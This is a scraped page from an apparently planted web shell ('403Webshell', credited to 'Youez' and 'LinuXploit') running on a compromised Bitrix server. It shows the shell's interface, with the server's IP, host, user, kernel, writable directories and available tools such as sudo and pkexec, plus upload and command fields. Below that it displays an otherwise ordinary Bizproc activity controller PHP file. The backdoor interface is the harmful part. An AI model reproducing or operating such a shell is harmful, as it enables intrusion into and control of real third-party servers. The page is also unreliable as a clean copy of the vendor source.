403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/bizproc/lib/controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/bizproc/lib/controller/activity.php
<?php

namespace Bitrix\Bizproc\Controller;

use Bitrix\Main\Error;
use Bitrix\Bizproc;
use Bitrix\Bizproc\Api\Enum\ErrorMessage;

class Activity extends Base
{
	public function requestAction(array $documentType, string $activity, array $params)
	{
		try
		{
			$documentType = \CBPHelper::ParseDocumentId($documentType);
			$activity = (new Bizproc\Validator(['activity' => $activity]))
				->validateString('activity')
				->getPureValues()['activity'];

			$dirtyParams = $params;
			$pureParams = (new Bizproc\Validator($params))
				//->validateRequire('lists_document_type')
				//->validateString('lists_document_type')
				->validateRequire('form_name')
				->validateString('form_name')
				->validateEnum('public_mode', ['Y', ''])
				->setDefault('public_mode', '')
				->getPureValues();

			$params = array_merge($dirtyParams, $pureParams);
		}
		catch (\Throwable $e)
		{
			$this->addError(new Error($e->getMessage(), $e->getCode()));
			return null;
		}
		$user = $this->getCurrentUser();

		$hasAccess = $user && (
			\CBPDocument::CanUserOperateDocumentType(
				\CBPCanUserOperateOperation::CreateWorkflow,
				$user->getId(),
				$documentType
			)
			|| \CBPDocument::CanUserOperateDocumentType(
				\CBPCanUserOperateOperation::CreateAutomation,
				$user->getId(),
				$documentType
			)
		);

		if (!$hasAccess)
		{
			$this->addError(ErrorMessage::ACCESS_DENIED->getError());

			return null;
		}

		$runtime = \CBPRuntime::GetRuntime();
		$runtime->StartRuntime();

		$activityDescription = $runtime->GetActivityDescription($activity);
		if (!$activityDescription)
		{
			$this->addError(new Error("Bad activity type!" . htmlspecialcharsbx($activity)));
			return null;
		}

		$runtime->IncludeActivityFile($activity);

		return \CBPActivity::CallStaticMethod(
			$activity,
			"getAjaxResponse",
			[$params]
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit